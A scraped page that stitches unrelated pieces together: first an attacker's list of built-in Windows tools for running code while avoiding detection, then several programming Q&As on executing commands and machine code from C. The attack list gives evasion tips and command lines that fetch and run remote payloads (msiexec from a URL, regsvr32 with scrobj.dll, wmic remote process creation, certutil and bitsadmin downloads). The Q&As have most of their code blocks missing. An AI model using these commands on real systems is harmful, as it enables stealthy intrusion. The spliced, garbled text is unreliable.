Execute c code windows

Execute c code windows

As an attacker often your aim is to execute code on a target system while simultaneously avoiding detection. Luckily Windows provides many built in tools to help you execute code while leaving very little evidence behind.

A list of ways to execute code, including examples, are shown below. Note that UAC bypasses and DLL hijacking will not be included as these are covered elsewhere.

Also a much more comprehensive list can be found here — https://github.com/api0cradle/LOLBAS

To remain hidden ideally you want to:

  • Avoid creating new processes/network connections
  • Avoid creating anomalous parent/child relationships
  • Avoid creating/modifying files/registry entries
  • Avoid creating memory anomalies
  • Avoid leaving evidence in log files

If you are going to drop files, then drop utilities to help run code as opposed to dropping the payload itself.

Code Execution Techniques:

  • Description: This utility supports the ability to execute powershell making it an excellent alternative to Powershell.exe.
  • Example: SyncAppvPublishingServer.exe «n;calc»
  • Description: The control panel feature within Windows supports the execution of arbitrary DLLs as demonstrated in the shadowbrokers release. (https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/)
  • Example: control.exe payload.dll
  • Description: The .NET compiler can be used to compile a c# payload locally that can then be executed.
  • Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:payload.exe payload.cs
  • Example payload.cs: public class x>
  • Description: Windows script engines that support both VBS and JScript execution. CScript is the console version, WScript is the Window version. Neither version supports scripts being supplied on the command line, instead a file must be created containing the script or a funky bat file wrapper.
  • Example: cscript.exe test.vbs (where test.vbs contains WScript.Echo «test»)
  • Description: Forfiles supports the ability to execute commands and seems to be equivalent to cmd.
  • Example: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
  • Description — Microsoft’s build utility where you can supply an inline build task to execute code (https://msdn.microsoft.com/en-us/library/dd722601.aspx)
  • Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\msbuild.exe \server\payload
  • Description — The Windows installer typically used to install new software or patches. It be used to download and execute a remote payload.
  • Example: msiexec /i http://server/package.msi
  • Example: msiexec /y payload.dll
  • Example: msiexec /z payload.dll
  • Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line.
  • Example: mshta bad.hta
  • Example: mshta vbscript:Execute(«MsgBox(«»amessage»»,64,»»atitle»»)(window.close)»)
  • Example: mshta javascript:alert(‘test’);
  • Example HTA:
  • Description: The most well known and most useful attacker utility. Powershell can be operated in console mode, with commands provided on the command line or through passing a ps1 file containing commands.
  • Example: powershell -c calc
  • Example: powershell -exec bypass -File test.ps1
  • Description: Command-line tool that registers dll files as command components in the registry. Notable for its use to bypass UAC and useful as it supports remote DLL retrieval with scrobj.dll. No arguments need to be supplied to regsvr32 if the dll exports the function DllRegisterServer.
  • Example: regsvr32 /s /n /u /i:[URL] scrobj.dll
  • Example: regsvr32 payload.dll
  • Description: Loads and runs DLLs. Three parameters are typically used, the DLL to be executed, the function within the DLL to call and any arguments.
  • Example: rundll32 SHELL32.DLL,ShellExec_RunDLL «calc»
  • Example: rundll32.exe javascript:»..\mshtml,RunHTMLApplication «;alert(‘test’);
  • Description: WinRM, or Windows Remote Management provides the ability to remotely execute wmi commands. The winrm service is disabled by default but can be enabled.
  • Example: winrm qc -q & winrm i c wmicimv2/Win32_Process @
  • Description: Command line tool for WMI.
  • Example: wmic process call create «cmd.exe /c calc»
  • Example: wmic /node:[targetIPaddr] /user:[admin] process call create «cmd.exe /c [command]»
  • Example: wmic os get /format:»https://server/payload.xsl»
  • Description: Allows you to download a payload.
  • Example: certutil -ping [URL]
  • Example: certutil -urlcache -split -f [URL] [output-file]
  • Description: Allows you to download a payload.
  • Example: bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]
  • Description: Allows you to download a payload.
  • Example: powershell -c «(New-Object System.Net.WebClient).DownloadString(‘https://google.com’)»

About

A list of ways to execute code on Windows using legitimate Windows tools

How many ways are there to execute system command in C program for windows

I am using MS visual studio 2008, for C coding.

I know we can use » int system(const char *command) » to execute commands.

Is there any other method to execute system commands in C program. Also I need to store output of executed command in a variable.

system() function execute command and send output to stdout , is there any way to read from stdout and store in variable.

So my ultimate goal is to execute system command in C program for windows (using visual studio) and store output of that command in a variable. Any suggestions ?

2 Answers 2

Standard C libraries give you only one way to execute external command in OS, so use int system(const char *command) .

You can save output of this command to text file, and then read this file from you program.

Where dir is a program to be executed, C:\* — argument of the program, and > — redirection of standard output for that command after which filename TMP_FOLDER_CONTENT.txt will be substituted.

Also you can check returned value, as:

or taking into account command you use, change the logic of your program, e.g.:

UPDATE:

Alternatively, you could use pipes in C++, for example as shown in the answer to question How to execute a command and get output of command within C++ using POSIX?

Run C++ in command prompt — Windows

I know that everyone uses an IDE nowadays, but I just find it simpler to write my code in notepad++, compile it using a command prompt command, and run it from there too. At least that works for Java and Python. I’ve tried to get my head around how to do that with C++, and haven’t been able to find anything good. Is there any compiler (like Java’s JDK) that I can stick into my path and use the C++ equivalent of javac and java to run and compile my code from CMD?

Note: please don’t post answers and comments about how IDEs are better — I know they are. I’m just used to doing it the old way 😀

11 Answers 11

It depends on what compiler you’re using.

For example, if you are using Visual C++ .NET 2010 Express, run Visual C++ 2010 Express Command Prompt from the start menu, and you can simply compile and run the code.

or from the regular command line, you can run vcvars32.bat first to set up the environment. Alternatively search for setvcvars.cmd (part of a FLOSS project) and use that to even locate the installed VS and have it call vcvars32.bat for you.

Please check your compiler’s manual for command lines.

Steps to perform the task:

First, download and install the compiler.

Then, type the C/C++ program and save it.

Then, open the command line and change directory to the particular one where the source file is stored, using cd like so:

Then, to compile, type in the command prompt:

Finally, to run the code, type:

If you’re running Windows then make use of this:

g++ is the name of the compiler and -o is the option needed for creating a .o file. Program (without .cpp suffix) is the exe file and program.cpp is your source file that you want to compile.

Use this shortcut to run the .exe file of the program. This may run in Ubuntu but you may have to use .out suffix instead of .exe . Use this handy batch script I made to execute your programs on Windows:

save it as cppExecutor.bat

Also you could use the following commands on Unix (Linux and Mac) OS:

If you want to use gcc :

With the shortcut:

Sure, it’s how most compilers got started. GCC is probably the most popular (comes with most flavors of *nix). Syntax is just gcc my_source_code.cpp , or gcc -o my_executable.exe my_source_code.cpp . It gets more complicated, of course, when you have multiple source files (as in implementation; anything #include d works automatically as long as GCC can find it).

MinGW appears to be a version of GCC for Windows, if that’s what you’re using. I haven’t tried it though.

Pretty sure most IDEs also include a command line interface. I know Visual Studio does, though I have never used it.

I really don’t see what your problem is, the question is rather unspecific. Given Notepad++ I assume you use Windows.

You have so many options here, from the MinGW (using the GCC tool chain and GNU make ) to using a modern MSVC. You can use the WDK ( ddkbuild.bat/.cmd or plain build.exe ), the Windows SDK ( nmake.exe ), other tools such as premake and CMake, or msbuild that comes with MSVC and the Windows SDK.

I mean the compiler names will differ, cl.exe for MSVC and the WDK and Windows SDK, gcc.exe for MinGW, but even from the console it is customary to organize your project in some way. This is what make and friends were invented for after all.

So to know the command line switches of your particular compiler consult the manual of that very compiler. To find ways to automate your build (i.e. the ability to run a simple command instead of a complex command line), you could sift through the list on Wikipedia or pick one of the tools I mentioned above and go with that.

Side-note: it isn’t necessary to ask people not to mention IDEs. Most professional developers have automated their builds to run from a command line and not from within the IDE (as during the development cycle for example), because there are so many advantages to that approach.

execute binary machine code from C

following this instructions I have managed to produce only 528 bytes in size a.out (when gcc main.c gave me 8539 bytes big file initially).

but I have built a.out from this assembly file instead:

because I need machine code I do:

file is in little endian convention:

now I want to execute this like this:

however I get segmentation fault. My question is: is this section of text

(this machine code) all I really need? What I do wrong (endiannes??), maybe I just need to call this in different way since SIGSEGV?

2 Answers 2

The code must be in a page with execute permission. By default, stack and read-write static data (like non-const globals) are in pages mapped without exec permission, for security reasons.

The simplest way is to compile with gcc -z execstack , which links your program such that stack and global variables (static storage) get mapped in executable pages, and so do allocations with malloc .

Another way to do it without making everything executable is to copy this binary machine code into an executable buffer.

get this done. returned: 42

RUN SUCCESSFUL (total time: 57ms)

Without __builtin___clear_cache , this could break with optimization enabled because gcc would think the memcpy was a dead store and optimize it away. When compiling for x86, __builtin___clear_cache does not actually clear any cache; there are zero extra instructions; it just marks the memory as «used» so stores to it aren’t considered «dead». (See the gcc manual.)

Another option would be to mprotect the page containing the char code[] array, giving it PROT_READ|PROT_WRITE|PROT_EXEC . This works whether it’s a local array (on the stack) or global in the .data .

Or if it’s const char code[] in the .rodata section, you might just give it PROT_READ|PROT_EXEC .

(In versions of binutils ld from before about 2019, the .rodata got linked as part of the same segment as .text , and was already mapped executable. But recent ld gives it a separate segment so it can be mapped without exec permission so const char code[] doesn’t give you an executable array anymore, but it used to so you may this old advice in other places.)

Is it possible to execute code from the stack in standard C?

The following code doesn’t work as intended but hopefully illustrates my attempt:

Obviously, sizeof(*foo) doesn’t return the size of the code of the foo() function.

I am aware that executing the stack is restricted on some CPUs (or at least if a restriction flag is set). Apart from GCC’s nested functions that can eventually be stored on the stack, is there a way to do that in standard C?

10 Answers 10

sizeof(*foo) isn’t the size of the function foo , it’s the size of a pointer to foo (which will usually be the same size as every other pointer on your platform).

sizeof can’t measure the size of a function. The reason is that sizeof is a static operator, and the size of a function is not known at compile time.

Since the size of a function is not known at compile time, that also means that you can’t define a statically-size array that is large enough to contain a function.

You might be able to do something horrible using alloca and some nasty hacks, but the short answer is no, I don’t think you can do this with standard C.

It should also be noted that the stack is not executable on modern, secure operating systems. In some cases you might be able to make it executable, but that is a very bad idea that will leave your program wide open to stack smashing attacks and horrible bugs.

A valid use case for this kind of thing is an embedded system that is generally running out of FLASH memory, but is required to be able to reprogram itself in the field. To do this, a portion of the code must run from some other memory device (in my case the FLASH device itself could not erase and program one page while allowing reads from any other page, but there are devices that can do that), and there was enough RAM in the system to hold both the flash writer and the new application image to be written.

We wrote the necessary FLASH programming function in C, but used #pragma directives to have it placed in a distinct .text segment from the rest of the code. In linker control file, we had the linker define global symbols for the start and end of that segment, and had it located at a base address in the RAM, while placing the generated code in a load region that was located in the FLASH along with the initialization data for the .data segment and the pure read-only .rodata segment; the base address in the FLASH was computed and defined as a global symbol as well.

At run time, when the application update feature was exercised, we read the new application image into its buffer (and did all the sanity checks that should be done to make sure it actually was an application image for this device). We then copied the update kernel out of its dormant location in FLASH to its linked location in RAM (using the global symbols defined by the linker), then called it just like any other function. We didn’t have to do anything special at the call site (not even a function pointer) because as far as the linker was concerned it was located in RAM the whole time. The fact that during normal operation that particular piece of RAM had a very different purpose was not important to the linker.

That said, all of the machinery that made this possible is either outside the scope of the standard, or solidly implementation defined behavior. The standard doesn’t care how code gets loaded into memory before it is executed. It just says that the system can execute code.

Читайте также:  Посмотреть сетевое оборудование линукс
Оцените статью